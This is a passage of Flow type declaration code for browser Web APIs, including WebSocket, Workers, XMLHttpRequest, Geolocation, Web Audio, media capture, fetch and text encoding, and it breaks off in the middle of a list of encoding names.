type ResizeObserverOptions = {\n  box?: ResizeObserverBoxOptions,\n  ...\n};\n\n/**\n * The ResizeObserver interface is used to observe changes to Element's size.\n */\ndeclare class ResizeObserver {\n  constructor(\n    callback: (\n      entries: ResizeObserverEntry[],\n      observer: ResizeObserver\n    ) => mixed\n  ): void;\n  /**\n   * Adds target to the list of observed elements.\n   */\n  observe(target: Element, options?: ResizeObserverOptions): void;\n  /**\n   * Removes target from the list of observed elements.\n   */\n  unobserve(target: Element): void;\n  disconnect(): void;\n}\n\ndeclare class CloseEvent extends Event {\n  code: number;\n  reason: string;\n  wasClean: boolean;\n}\n\ndeclare class WebSocket extends EventTarget {\n  static CONNECTING: 0;\n  static OPEN: 1;\n  static CLOSING: 2;\n  static CLOSED: 3;\n  constructor(url: string, protocols?: string | Array<string>): void;\n  protocol: string;\n  readyState: number;\n  bufferedAmount: number;\n  extensions: string;\n  onopen: (ev: any) => mixed;\n  onmessage: (ev: MessageEvent<>) => mixed;\n  onclose: (ev: CloseEvent) => mixed;\n  onerror: (ev: any) => mixed;\n  binaryType: 'blob' | 'arraybuffer';\n  url: string;\n  close(code?: number, reason?: string): void;\n  send(data: string): void;\n  send(data: Blob): void;\n  send(data: ArrayBuffer): void;\n  send(data: $ArrayBufferView): void;\n  CONNECTING: 0;\n  OPEN: 1;\n  CLOSING: 2;\n  CLOSED: 3;\n}\n\ntype WorkerOptions = {\n  type?: WorkerType,\n  credentials?: CredentialsType,\n  name?: string,\n  ...\n};\n\ndeclare class Worker extends EventTarget {\n  constructor(\n    stringUrl: string | TrustedScriptURL,\n    workerOptions?: WorkerOptions\n  ): void;\n  onerror: null | ((ev: any) => mixed);\n  onmessage: null | ((ev: MessageEvent<>) => mixed);\n  onmessageerror: null | ((ev: MessageEvent<>) => mixed);\n  postMessage(message: any, ports?: any): void;\n  terminate(): void;\n}\n\ndeclare class SharedWorker extends EventTarget {\n  constructor(stringUrl: string | TrustedScriptURL, name?: string): void;\n  constructor(\n    stringUrl: string | TrustedScriptURL,\n    workerOptions?: WorkerOptions\n  ): void;\n  port: MessagePort;\n  onerror: (ev: any) => mixed;\n}\n\ndeclare function importScripts(...urls: Array<string | TrustedScriptURL>): void;\n\ndeclare class WorkerGlobalScope extends EventTarget {\n  self: this;\n  location: WorkerLocation;\n  navigator: WorkerNavigator;\n  close(): void;\n  importScripts(...urls: Array<string | TrustedScriptURL>): void;\n  onerror: (ev: any) => mixed;\n  onlanguagechange: (ev: any) => mixed;\n  onoffline: (ev: any) => mixed;\n  ononline: (ev: any) => mixed;\n  onrejectionhandled: (ev: PromiseRejectionEvent) => mixed;\n  onunhandledrejection: (ev: PromiseRejectionEvent) => mixed;\n}\n\ndeclare class DedicatedWorkerGlobalScope extends WorkerGlobalScope {\n  onmessage: (ev: MessageEvent<>) => mixed;\n  onmessageerror: (ev: MessageEvent<>) => mixed;\n  postMessage(message: any, transfer?: Iterable<any>): void;\n}\n\ndeclare class SharedWorkerGlobalScope extends WorkerGlobalScope {\n  name: string;\n  onconnect: (ev: MessageEvent<>) => mixed;\n}\n\ndeclare class WorkerLocation {\n  origin: string;\n  protocol: string;\n  host: string;\n  hostname: string;\n  port: string;\n  pathname: string;\n  search: string;\n  hash: string;\n}\n\ndeclare class WorkerNavigator\n  mixins\n    NavigatorID,\n    NavigatorLanguage,\n    NavigatorOnLine,\n    NavigatorConcurrentHardware,\n    NavigatorStorage\n{\n  permissions: Permissions;\n}\n\n// deprecated\ndeclare class XDomainRequest {\n  timeout: number;\n  onerror: () => mixed;\n  onload: () => mixed;\n  onprogress: () => mixed;\n  ontimeout: () => mixed;\n  +responseText: string;\n  +contentType: string;\n  open(method: 'GET' | 'POST', url: string): void;\n  abort(): void;\n  send(data?: string): void;\n\n  statics: {create(): XDomainRequest, ...};\n}\n\ndeclare class XMLHttpRequest extends EventTarget {\n  static LOADING: number;\n  static DONE: number;\n  static UNSENT: number;\n  static OPENED: number;\n  static HEADERS_RECEIVED: number;\n  responseBody: any;\n  status: number;\n  readyState: number;\n  responseText: string;\n  responseXML: any;\n  responseURL: string;\n  ontimeout: ProgressEventHandler;\n  statusText: string;\n  onreadystatechange: (ev: any) => mixed;\n  timeout: number;\n  onload: ProgressEventHandler;\n  response: any;\n  withCredentials: boolean;\n  onprogress: ProgressEventHandler;\n  onabort: ProgressEventHandler;\n  responseType: string;\n  onloadend: ProgressEventHandler;\n  upload: XMLHttpRequestEventTarget;\n  onerror: ProgressEventHandler;\n  onloadstart: ProgressEventHandler;\n  msCaching: string;\n  open(\n    method: string,\n    url: string,\n    async?: boolean,\n    user?: string,\n    password?: string\n  ): void;\n  send(data?: any): void;\n  abort(): void;\n  getAllResponseHeaders(): string;\n  setRequestHeader(header: string, value: string): void;\n  getResponseHeader(header: string): string;\n  msCachingEnabled(): boolean;\n  overrideMimeType(mime: string): void;\n  LOADING: number;\n  DONE: number;\n  UNSENT: number;\n  OPENED: number;\n  HEADERS_RECEIVED: number;\n\n  statics: {create(): XMLHttpRequest, ...};\n}\n\ndeclare class XMLHttpRequestEventTarget extends EventTarget {\n  onprogress: ProgressEventHandler;\n  onerror: ProgressEventHandler;\n  onload: ProgressEventHandler;\n  ontimeout: ProgressEventHandler;\n  onabort: ProgressEventHandler;\n  onloadstart: ProgressEventHandler;\n  onloadend: ProgressEventHandler;\n}\n\ndeclare class XMLSerializer {\n  serializeToString(target: Node): string;\n}\n\ndeclare class Geolocation {\n  getCurrentPosition(\n    success: (position: Position) => mixed,\n    error?: (error: PositionError) => mixed,\n    options?: PositionOptions\n  ): void;\n  watchPosition(\n    success: (position: Position) => mixed,\n    error?: (error: PositionError) => mixed,\n    options?: PositionOptions\n  ): number;\n  clearWatch(id: number): void;\n}\n\ndeclare class Position {\n  coords: Coordinates;\n  timestamp: number;\n}\n\ndeclare class Coordinates {\n  latitude: number;\n  longitude: number;\n  altitude?: number;\n  accuracy: number;\n  altitudeAccuracy?: number;\n  heading?: number;\n  speed?: number;\n}\n\ndeclare class PositionError {\n  code: number;\n  message: string;\n  PERMISSION_DENIED: 1;\n  POSITION_UNAVAILABLE: 2;\n  TIMEOUT: 3;\n}\n\ntype PositionOptions = {\n  enableHighAccuracy?: boolean,\n  timeout?: number,\n  maximumAge?: number,\n  ...\n};\n\ntype AudioContextState = 'suspended' | 'running' | 'closed';\n\n// deprecated\ntype AudioProcessingEvent$Init = Event$Init & {\n  playbackTime: number,\n  inputBuffer: AudioBuffer,\n  outputBuffer: AudioBuffer,\n  ...\n};\n\n// deprecated\ndeclare class AudioProcessingEvent extends Event {\n  constructor(type: string, eventInitDict: AudioProcessingEvent$Init): void;\n\n  +playbackTime: number;\n  +inputBuffer: AudioBuffer;\n  +outputBuffer: AudioBuffer;\n}\n\ntype OfflineAudioCompletionEvent$Init = Event$Init & {\n  renderedBuffer: AudioBuffer,\n  ...\n};\n\ndeclare class OfflineAudioCompletionEvent extends Event {\n  constructor(\n    type: string,\n    eventInitDict: OfflineAudioCompletionEvent$Init\n  ): void;\n\n  +renderedBuffer: AudioBuffer;\n}\n\ndeclare class BaseAudioContext extends EventTarget {\n  currentTime: number;\n  destination: AudioDestinationNode;\n  listener: AudioListener;\n  sampleRate: number;\n  state: AudioContextState;\n  onstatechange: (ev: any) => mixed;\n  createBuffer(\n    numOfChannels: number,\n    length: number,\n    sampleRate: number\n  ): AudioBuffer;\n  createBufferSource(myMediaElement?: HTMLMediaElement): AudioBufferSourceNode;\n  createMediaElementSource(\n    myMediaElement: HTMLMediaElement\n  ): MediaElementAudioSourceNode;\n  createMediaStreamSource(stream: MediaStream): MediaStreamAudioSourceNode;\n  createMediaStreamDestination(): MediaStreamAudioDestinationNode;\n\n  // deprecated\n  createScriptProcessor(\n    bufferSize: number,\n    numberOfInputChannels: number,\n    numberOfOutputChannels: number\n  ): ScriptProcessorNode;\n\n  createAnalyser(): AnalyserNode;\n  createBiquadFilter(): BiquadFilterNode;\n  createChannelMerger(numberOfInputs?: number): ChannelMergerNode;\n  createChannelSplitter(numberOfInputs?: number): ChannelSplitterNode;\n  createConstantSource(): ConstantSourceNode;\n  createConvolver(): ConvolverNode;\n  createDelay(maxDelayTime?: number): DelayNode;\n  createDynamicsCompressor(): DynamicsCompressorNode;\n  createGain(): GainNode;\n  createIIRFilter(\n    feedforward: Float32Array,\n    feedback: Float32Array\n  ): IIRFilterNode;\n  createOscillator(): OscillatorNode;\n  createPanner(): PannerNode;\n  createStereoPanner(): StereoPannerNode;\n  createPeriodicWave(\n    real: Float32Array,\n    img: Float32Array,\n    options?: {disableNormalization: boolean, ...}\n  ): PeriodicWave;\n  createStereoPanner(): StereoPannerNode;\n  createWaveShaper(): WaveShaperNode;\n  decodeAudioData(\n    arrayBuffer: ArrayBuffer,\n    decodeSuccessCallback: (decodedData: AudioBuffer) => mixed,\n    decodeErrorCallback: (err: DOMError) => mixed\n  ): void;\n  decodeAudioData(arrayBuffer: ArrayBuffer): Promise<AudioBuffer>;\n}\n\ndeclare class AudioTimestamp {\n  contextTime: number;\n  performanceTime: number;\n}\n\ndeclare class AudioContext extends BaseAudioContext {\n  constructor(options?: {|\n    latencyHint?: 'balanced' | 'interactive' | 'playback' | number,\n    sampleRate?: number,\n  |}): AudioContext;\n  baseLatency: number;\n  outputLatency: number;\n  getOutputTimestamp(): AudioTimestamp;\n  resume(): Promise<void>;\n  suspend(): Promise<void>;\n  close(): Promise<void>;\n  createMediaElementSource(\n    myMediaElement: HTMLMediaElement\n  ): MediaElementAudioSourceNode;\n  createMediaStreamSource(\n    myMediaStream: MediaStream\n  ): MediaStreamAudioSourceNode;\n  createMediaStreamTrackSource(\n    myMediaStreamTrack: MediaStreamTrack\n  ): MediaStreamTrackAudioSourceNode;\n  createMediaStreamDestination(): MediaStreamAudioDestinationNode;\n}\n\ndeclare class OfflineAudioContext extends BaseAudioContext {\n  startRendering(): Promise<AudioBuffer>;\n  suspend(suspendTime: number): Promise<void>;\n  length: number;\n  oncomplete: (ev: OfflineAudioCompletionEvent) => mixed;\n}\n\ndeclare class AudioNode extends EventTarget {\n  context: AudioContext;\n  numberOfInputs: number;\n  numberOfOutputs: number;\n  channelCount: number;\n  channelCountMode: 'max' | 'clamped-max' | 'explicit';\n  channelInterpretation: 'speakers' | 'discrete';\n  connect(audioNode: AudioNode, output?: number, input?: number): AudioNode;\n  connect(destination: AudioParam, output?: number): void;\n  disconnect(destination?: AudioNode, output?: number, input?: number): void;\n}\n\ndeclare class AudioParam extends AudioNode {\n  value: number;\n  defaultValue: number;\n  setValueAtTime(value: number, startTime: number): this;\n  linearRampToValueAtTime(value: number, endTime: number): this;\n  exponentialRampToValueAtTime(value: number, endTime: number): this;\n  setTargetAtTime(\n    target: number,\n    startTime: number,\n    timeConstant: number\n  ): this;\n  setValueCurveAtTime(\n    values: Float32Array,\n    startTime: number,\n    duration: number\n  ): this;\n  cancelScheduledValues(startTime: number): this;\n}\n\ndeclare class AudioDestinationNode extends AudioNode {\n  maxChannelCount: number;\n}\n\ndeclare class AudioListener extends AudioNode {\n  positionX: AudioParam;\n  positionY: AudioParam;\n  positionZ: AudioParam;\n  forwardX: AudioParam;\n  forwardY: AudioParam;\n  forwardZ: AudioParam;\n  upX: AudioParam;\n  upY: AudioParam;\n  upZ: AudioParam;\n  setPosition(x: number, y: number, c: number): void;\n  setOrientation(\n    x: number,\n    y: number,\n    z: number,\n    xUp: number,\n    yUp: number,\n    zUp: number\n  ): void;\n}\n\ndeclare class AudioBuffer {\n  sampleRate: number;\n  length: number;\n  duration: number;\n  numberOfChannels: number;\n  getChannelData(channel: number): Float32Array;\n  copyFromChannel(\n    destination: Float32Array,\n    channelNumber: number,\n    startInChannel?: number\n  ): void;\n  copyToChannel(\n    source: Float32Array,\n    channelNumber: number,\n    startInChannel?: number\n  ): void;\n}\n\ndeclare class AudioBufferSourceNode extends AudioNode {\n  buffer: AudioBuffer;\n  detune: AudioParam;\n  loop: boolean;\n  loopStart: number;\n  loopEnd: number;\n  playbackRate: AudioParam;\n  onended: (ev: any) => mixed;\n  start(when?: number, offset?: number, duration?: number): void;\n  stop(when?: number): void;\n}\n\ndeclare class CanvasCaptureMediaStream extends MediaStream {\n  canvas: HTMLCanvasElement;\n  requestFrame(): void;\n}\n\ntype DoubleRange = {\n  max?: number,\n  min?: number,\n  ...\n};\n\ntype LongRange = {\n  max?: number,\n  min?: number,\n  ...\n};\n\ntype ConstrainBooleanParameters = {\n  exact?: boolean,\n  ideal?: boolean,\n  ...\n};\n\ntype ConstrainDOMStringParameters = {\n  exact?: string | string[],\n  ideal?: string | string[],\n  ...\n};\n\ntype ConstrainDoubleRange = {\n  ...DoubleRange,\n  exact?: number,\n  ideal?: number,\n  ...\n};\n\ntype ConstrainLongRange = {\n  ...LongRange,\n  exact?: number,\n  ideal?: number,\n  ...\n};\n\ntype MediaTrackSupportedConstraints = {|\n  width: boolean,\n  height: boolean,\n  aspectRatio: boolean,\n  frameRate: boolean,\n  facingMode: boolean,\n  resizeMode: boolean,\n  volume: boolean,\n  sampleRate: boolean,\n  sampleSize: boolean,\n  echoCancellation: boolean,\n  autoGainControl: boolean,\n  noiseSuppression: boolean,\n  latency: boolean,\n  channelCount: boolean,\n  deviceId: boolean,\n  groupId: boolean,\n|};\n\ntype MediaTrackConstraintSet = {\n  width?: number | ConstrainLongRange,\n  height?: number | ConstrainLongRange,\n  aspectRatio?: number | ConstrainDoubleRange,\n  frameRate?: number | ConstrainDoubleRange,\n  facingMode?: string | string[] | ConstrainDOMStringParameters,\n  resizeMode?: string | string[] | ConstrainDOMStringParameters,\n  volume?: number | ConstrainDoubleRange,\n  sampleRate?: number | ConstrainLongRange,\n  sampleSize?: number | ConstrainLongRange,\n  echoCancellation?: boolean | ConstrainBooleanParameters,\n  autoGainControl?: boolean | ConstrainBooleanParameters,\n  noiseSuppression?: boolean | ConstrainBooleanParameters,\n  latency?: number | ConstrainDoubleRange,\n  channelCount?: number | ConstrainLongRange,\n  deviceId?: string | string[] | ConstrainDOMStringParameters,\n  groupId?: string | string[] | ConstrainDOMStringParameters,\n  ...\n};\n\ntype MediaTrackConstraints = {\n  ...MediaTrackConstraintSet,\n  advanced?: Array<MediaTrackConstraintSet>,\n  ...\n};\n\ntype DisplayMediaStreamConstraints = {\n  video?: boolean | MediaTrackConstraints,\n  audio?: boolean | MediaTrackConstraints,\n  ...\n};\n\ntype MediaStreamConstraints = {\n  audio?: boolean | MediaTrackConstraints,\n  video?: boolean | MediaTrackConstraints,\n  peerIdentity?: string,\n  ...\n};\n\ntype MediaTrackSettings = {\n  aspectRatio?: number,\n  deviceId?: string,\n  displaySurface?: 'application' | 'browser' | 'monitor' | 'window',\n  echoCancellation?: boolean,\n  facingMode?: string,\n  frameRate?: number,\n  groupId?: string,\n  height?: number,\n  logicalSurface?: boolean,\n  sampleRate?: number,\n  sampleSize?: number,\n  volume?: number,\n  width?: number,\n  ...\n};\n\ntype MediaTrackCapabilities = {\n  aspectRatio?: number | DoubleRange,\n  deviceId?: string,\n  echoCancellation?: boolean[],\n  facingMode?: string,\n  frameRate?: number | DoubleRange,\n  groupId?: string,\n  height?: number | LongRange,\n  sampleRate?: number | LongRange,\n  sampleSize?: number | LongRange,\n  volume?: number | DoubleRange,\n  width?: number | LongRange,\n  ...\n};\n\ndeclare class MediaDevices extends EventTarget {\n  ondevicechange: (ev: any) => mixed;\n  enumerateDevices: () => Promise<Array<MediaDeviceInfo>>;\n  getSupportedConstraints: () => MediaTrackSupportedConstraints;\n  getDisplayMedia: (\n    constraints?: DisplayMediaStreamConstraints\n  ) => Promise<MediaStream>;\n  getUserMedia: (constraints: MediaStreamConstraints) => Promise<MediaStream>;\n}\n\ndeclare class MediaDeviceInfo {\n  +deviceId: string;\n  +groupId: string;\n  +kind: 'videoinput' | 'audioinput' | 'audiooutput';\n  +label: string;\n}\n\ntype MediaRecorderOptions = {\n  mimeType?: string,\n  audioBitsPerSecond?: number,\n  videoBitsPerSecond?: number,\n  bitsPerSecond?: number,\n  audioBitrateMode?: 'cbr' | 'vbr',\n  ...\n};\n\ndeclare class MediaRecorder extends EventTarget {\n  constructor(stream: MediaStream, options?: MediaRecorderOptions): void;\n  +stream: MediaStream;\n  +mimeType: string;\n  +state: 'inactive' | 'recording' | 'paused';\n\n  onstart: (ev: any) => mixed;\n  onstop: (ev: any) => mixed;\n  ondataavailable: (ev: any) => mixed;\n  onpause: (ev: any) => mixed;\n  onresume: (ev: any) => mixed;\n  onerror: (ev: any) => mixed;\n\n  +videoBitsPerSecond: number;\n  +audioBitsPerSecond: number;\n  +audioBitrateMode: 'cbr' | 'vbr';\n\n  start(timeslice?: number): void;\n  stop(): void;\n  pause(): void;\n  resume(): void;\n  requestData(): void;\n\n  static isTypeSupported(type: string): boolean;\n}\n\ndeclare class MediaStream extends EventTarget {\n  active: boolean;\n  ended: boolean;\n  id: string;\n  onactive: (ev: any) => mixed;\n  oninactive: (ev: any) => mixed;\n  onended: (ev: any) => mixed;\n  onaddtrack: (ev: MediaStreamTrackEvent) => mixed;\n  onremovetrack: (ev: MediaStreamTrackEvent) => mixed;\n  addTrack(track: MediaStreamTrack): void;\n  clone(): MediaStream;\n  getAudioTracks(): MediaStreamTrack[];\n  getTrackById(trackid?: string): ?MediaStreamTrack;\n  getTracks(): MediaStreamTrack[];\n  getVideoTracks(): MediaStreamTrack[];\n  removeTrack(track: MediaStreamTrack): void;\n}\n\ndeclare class MediaStreamTrack extends EventTarget {\n  enabled: boolean;\n  id: string;\n  kind: string;\n  label: string;\n  muted: boolean;\n  readonly: boolean;\n  readyState: 'live' | 'ended';\n  remote: boolean;\n  contentHint?: string;\n  onstarted: (ev: any) => mixed;\n  onmute: (ev: any) => mixed;\n  onunmute: (ev: any) => mixed;\n  onoverconstrained: (ev: any) => mixed;\n  onended: (ev: any) => mixed;\n  getConstraints(): MediaTrackConstraints;\n  applyConstraints(constraints?: MediaTrackConstraints): Promise<void>;\n  getSettings(): MediaTrackSettings;\n  getCapabilities(): MediaTrackCapabilities;\n  clone(): MediaStreamTrack;\n  stop(): void;\n}\n\ndeclare class MediaStreamTrackEvent extends Event {\n  track: MediaStreamTrack;\n}\n\ndeclare class MediaElementAudioSourceNode extends AudioNode {}\ndeclare class MediaStreamAudioSourceNode extends AudioNode {}\ndeclare class MediaStreamTrackAudioSourceNode extends AudioNode {}\n\ndeclare class MediaStreamAudioDestinationNode extends AudioNode {\n  stream: MediaStream;\n}\n\n// deprecated\ndeclare class ScriptProcessorNode extends AudioNode {\n  bufferSize: number;\n  onaudioprocess: (ev: AudioProcessingEvent) => mixed;\n}\n\ndeclare class AnalyserNode extends AudioNode {\n  fftSize: number;\n  frequencyBinCount: number;\n  minDecibels: number;\n  maxDecibels: number;\n  smoothingTimeConstant: number;\n  getFloatFrequencyData(array: Float32Array): Float32Array;\n  getByteFrequencyData(array: Uint8Array): Uint8Array;\n  getFloatTimeDomainData(array: Float32Array): Float32Array;\n  getByteTimeDomainData(array: Uint8Array): Uint8Array;\n}\n\ndeclare class BiquadFilterNode extends AudioNode {\n  frequency: AudioParam;\n  detune: AudioParam;\n  Q: AudioParam;\n  gain: AudioParam;\n  type:\n    | 'lowpass'\n    | 'highpass'\n    | 'bandpass'\n    | 'lowshelf'\n    | 'highshelf'\n    | 'peaking'\n    | 'notch'\n    | 'allpass';\n  getFrequencyResponse(\n    frequencyHz: Float32Array,\n    magResponse: Float32Array,\n    phaseResponse: Float32Array\n  ): void;\n}\n\ndeclare class ChannelMergerNode extends AudioNode {}\ndeclare class ChannelSplitterNode extends AudioNode {}\n\ntype ConstantSourceOptions = {offset?: number, ...};\ndeclare class ConstantSourceNode extends AudioNode {\n  constructor(context: BaseAudioContext, options?: ConstantSourceOptions): void;\n  offset: AudioParam;\n  onended: (ev: any) => mixed;\n  start(when?: number): void;\n  stop(when?: number): void;\n}\n\ndeclare class ConvolverNode extends AudioNode {\n  buffer: AudioBuffer;\n  normalize: boolean;\n}\n\ndeclare class DelayNode extends AudioNode {\n  delayTime: number;\n}\n\ndeclare class DynamicsCompressorNode extends AudioNode {\n  threshold: AudioParam;\n  knee: AudioParam;\n  ratio: AudioParam;\n  reduction: AudioParam;\n  attack: AudioParam;\n  release: AudioParam;\n}\n\ndeclare class GainNode extends AudioNode {\n  gain: AudioParam;\n}\n\ndeclare class IIRFilterNode extends AudioNode {\n  getFrequencyResponse(\n    frequencyHz: Float32Array,\n    magResponse: Float32Array,\n    phaseResponse: Float32Array\n  ): void;\n}\n\ndeclare class OscillatorNode extends AudioNode {\n  frequency: AudioParam;\n  detune: AudioParam;\n  type: 'sine' | 'square' | 'sawtooth' | 'triangle' | 'custom';\n  start(when?: number): void;\n  stop(when?: number): void;\n  setPeriodicWave(periodicWave: PeriodicWave): void;\n  onended: (ev: any) => mixed;\n}\n\ndeclare class StereoPannerNode extends AudioNode {\n  pan: AudioParam;\n}\n\ndeclare class PannerNode extends AudioNode {\n  panningModel: 'equalpower' | 'HRTF';\n  distanceModel: 'linear' | 'inverse' | 'exponential';\n  refDistance: number;\n  maxDistance: number;\n  rolloffFactor: number;\n  coneInnerAngle: number;\n  coneOuterAngle: number;\n  coneOuterGain: number;\n  setPosition(x: number, y: number, z: number): void;\n  setOrientation(x: number, y: number, z: number): void;\n}\n\ndeclare class PeriodicWave extends AudioNode {}\ndeclare class WaveShaperNode extends AudioNode {\n  curve: Float32Array;\n  oversample: 'none' | '2x' | '4x';\n}\n\n// this part of spec is not finished yet, apparently\n// https://stackoverflow.com/questions/35296664/can-fetch-get-object-as-headers\ntype HeadersInit =\n  | Headers\n  | Array<[string, string]>\n  | {[key: string]: string, ...};\n\n// TODO Heades and URLSearchParams are almost the same thing.\n// Could it somehow be abstracted away?\ndeclare class Headers {\n  @@iterator(): Iterator<[string, string]>;\n  constructor(init?: HeadersInit): void;\n  append(name: string, value: string): void;\n  delete(name: string): void;\n  entries(): Iterator<[string, string]>;\n  forEach<This>(\n    callback: (\n      this: This,\n      value: string,\n      name: string,\n      headers: Headers\n    ) => mixed,\n    thisArg: This\n  ): void;\n  get(name: string): null | string;\n  has(name: string): boolean;\n  keys(): Iterator<string>;\n  set(name: string, value: string): void;\n  values(): Iterator<string>;\n}\n\ndeclare class URLSearchParams {\n  @@iterator(): Iterator<[string, string]>;\n\n  size: number;\n\n  constructor(\n    init?:\n      | string\n      | URLSearchParams\n      | Array<[string, string]>\n      | {[string]: string, ...}\n  ): void;\n  append(name: string, value: string): void;\n  delete(name: string, value?: string): void;\n  entries(): Iterator<[string, string]>;\n  forEach<This>(\n    callback: (\n      this: This,\n      value: string,\n      name: string,\n      params: URLSearchParams\n    ) => mixed,\n    thisArg: This\n  ): void;\n  get(name: string): null | string;\n  getAll(name: string): Array<string>;\n  has(name: string, value?: string): boolean;\n  keys(): Iterator<string>;\n  set(name: string, value: string): void;\n  sort(): void;\n  values(): Iterator<string>;\n  toString(): string;\n}\n\ntype CacheType =\n  | 'default'\n  | 'no-store'\n  | 'reload'\n  | 'no-cache'\n  | 'force-cache'\n  | 'only-if-cached';\ntype CredentialsType = 'omit' | 'same-origin' | 'include';\ntype ModeType = 'cors' | 'no-cors' | 'same-origin' | 'navigate';\ntype RedirectType = 'follow' | 'error' | 'manual';\ntype ReferrerPolicyType =\n  | ''\n  | 'no-referrer'\n  | 'no-referrer-when-downgrade'\n  | 'same-origin'\n  | 'origin'\n  | 'strict-origin'\n  | 'origin-when-cross-origin'\n  | 'strict-origin-when-cross-origin'\n  | 'unsafe-url';\n\ntype ResponseType =\n  | 'basic'\n  | 'cors'\n  | 'default'\n  | 'error'\n  | 'opaque'\n  | 'opaqueredirect';\n\ntype BodyInit =\n  | string\n  | URLSearchParams\n  | FormData\n  | Blob\n  | ArrayBuffer\n  | $ArrayBufferView\n  | ReadableStream;\n\ntype RequestInfo = Request | URL | string;\n\ntype RequestOptions = {\n  body?: ?BodyInit,\n  cache?: CacheType,\n  credentials?: CredentialsType,\n  headers?: HeadersInit,\n  integrity?: string,\n  keepalive?: boolean,\n  method?: string,\n  mode?: ModeType,\n  redirect?: RedirectType,\n  referrer?: string,\n  referrerPolicy?: ReferrerPolicyType,\n  signal?: ?AbortSignal,\n  window?: any,\n  ...\n};\n\ntype ResponseOptions = {\n  status?: number,\n  statusText?: string,\n  headers?: HeadersInit,\n  ...\n};\n\ndeclare class Response {\n  constructor(input?: ?BodyInit, init?: ResponseOptions): void;\n  clone(): Response;\n  static error(): Response;\n  static redirect(url: string, status?: number): Response;\n\n  redirected: boolean;\n  type: ResponseType;\n  url: string;\n  ok: boolean;\n  status: number;\n  statusText: string;\n  headers: Headers;\n  trailer: Promise<Headers>;\n\n  // Body methods and attributes\n  bodyUsed: boolean;\n  body: ?ReadableStream;\n\n  arrayBuffer(): Promise<ArrayBuffer>;\n  blob(): Promise<Blob>;\n  formData(): Promise<FormData>;\n  json(): Promise<any>;\n  text(): Promise<string>;\n}\n\ndeclare class Request {\n  constructor(input: RequestInfo, init?: RequestOptions): void;\n  clone(): Request;\n\n  url: string;\n\n  cache: CacheType;\n  credentials: CredentialsType;\n  headers: Headers;\n  integrity: string;\n  method: string;\n  mode: ModeType;\n  redirect: RedirectType;\n  referrer: string;\n  referrerPolicy: ReferrerPolicyType;\n  +signal: AbortSignal;\n\n  // Body methods and attributes\n  bodyUsed: boolean;\n\n  arrayBuffer(): Promise<ArrayBuffer>;\n  blob(): Promise<Blob>;\n  formData(): Promise<FormData>;\n  json(): Promise<any>;\n  text(): Promise<string>;\n}\n\ndeclare function fetch(\n  input: RequestInfo,\n  init?: RequestOptions\n): Promise<Response>;\n\ntype TextEncoder$availableEncodings =\n  | 'utf-8'\n  | 'utf8'\n  | 'unicode-1-1-utf-8'\n  | 'utf-16be'\n  | 'utf-16'\n  | 'utf-16le';\n\ndeclare class TextEncoder {\n  constructor(encoding?: TextEncoder$availableEncodings): void;\n  encode(buffer: string, options?: {stream: boolean, ...}): Uint8Array;\n  encoding: TextEncoder$availableEncodings;\n}\n\ntype TextDecoder$availableEncodings =\n  | '866'\n  | 'ansi_x3.4-1968'\n  | 'arabic'\n  | 'ascii'\n  | 'asmo-708'\n  | 'big5-hkscs'\n  | 'big5'\n  | 'chinese'\n  | 'cn-big5'\n  | 'cp1250'\n  | 'cp1251'\n  | 'cp1252'\n  | 'cp1253'\n  | 'cp1254'\n  | 'cp1255'\n  | 'cp1256'\n  | 'cp1257'\n  | 'cp1258'\n  | 'cp819'\n  | 'cp866'\n  | 'csbig5'\n  | 'cseuckr'\n  | 'cseucpkdfmtjapanese'\n  | 'csgb2312'\n  | 'csibm866'\n  | 'csiso2022jp'\n  | 'csiso2022kr'\n  | 'csiso58gb231280'\n  | 'csiso88596e'\n  | 'csiso88596i'\n  | 'csiso88598e'\n  | 'csiso88598i'\n  | 'csisolatin1'\n  | 'csisolatin2'\n  | 'csisolatin3'\n  | 'csisolatin4'\n  | 'csisolatin5'\n  | 'csisolatin6'\n  | 'csisolatin9'\n  | 'csisolatinarabic'\n  | 'csisolatincyrillic'\n  | 'csisolatingreek'\n  | 'csisolatinhebrew'\n  | 'cskoi8r'\n  | 'csksc56011987'\n  | 'csmacintosh'\n  | 'csshiftjis'\n  | 'cyrillic'\n  | 'dos-874'\n  | 'ecma-114'\n  | 'ecma-118'\n  | 'elot_928'\n  | 'euc-jp'\n  | 'euc-kr'\n  | 'gb_2312-80'\n  | 'gb_2312'\n  | 'gb18030'\n  | 'gb2312'\n  | 'gbk'\n  | 'greek'\n  | 'greek8'\n  | 'hebrew'\n  | 'hz-gb-2312'\n  | 'ibm819'\n  | 'ibm866'\n  | 'iso_8859-1:1987'\n  | 'iso_8859-1'\n  | 'iso_8859-2:1987'\n  | 'iso_8859-2'\n  | 'iso_8859-3:1988'\n  | 'iso_8859-3'\n  | 'iso_8859-4:1988'\n  | 'iso_8859-4'\n  | 'iso_8859-5:1988'\n  | 'iso_8859-5'\n  | 'iso_8859-6:1987'\n  | 'iso_8859-6'\n  | 'iso_8859-7:1987'\n  | 'iso_8859-7'\n  | 'iso_8859-8:1988'\n  | 'iso_8859-8'\n  | 'iso_8859-9:1989'\n  | 'iso_8859-9'\n  | 'iso-2022-cn-ext'\n  | 'iso-2022-cn'\n  | 'iso-2022-jp'\n  | 'iso-2022-kr'\n  | 'iso-8859-1'\n  | 'iso-8859-10'\n  | 'iso-8859-11'\n  | 'iso-8859-13'\n  | 'iso-8859-14'\n  | 'iso-8859-15'\n  | 'iso-8859-16'\n  | 'iso-8859-2'\n  | 'iso-8859-3'\n  | 'iso-8859-4'\n  | 'iso-8859-5'\n  | 'iso-8859-6-e'\n  | 'iso-8859-6-i'\n  | 'iso-8859-6'\n  | 'iso-8859-7'\n  | 'iso-8859-8-e'\n  | 'iso-8859-8-i'\n  | 'iso-8859-8'\n  | 'iso-8859-9'\n  | 'iso-ir-100'\n  | 'iso-ir-101'\n  | 'iso-ir-109'\n  | 'iso-ir-110'\n  | 'iso-ir-126'\n  | 'iso-ir-127'\n  | 'iso-ir-138'\n  | 'iso-ir-144'\n  | 'iso-ir-148'\n  | 'iso-ir-149'\n  | 'iso-ir-157'\n  | 'iso-ir-58'\n  | 'iso8859-1'\n  | 'iso8859-10'\n  | 'iso8859-11'\n  | 'iso8859-13'\n  | 'iso8859-14'\n  | 'iso8859-15'\n  | 'iso8859-2'\n  | 'iso8859-3'\n  | 'iso8859-4'\n  | 'iso8859-6'\n  | 'iso8859-7'\n  | 'iso8859-8'\n  | 'iso8859-9'\n  | 'iso88591'\n  | 'iso885910'\n  | 'iso885911'\n  | 'iso885913'\n  | 'iso885914'\n  | 'iso885915'\n  | 'iso88592'\n  | 'iso88593'\n  | 'iso88594'\n  | 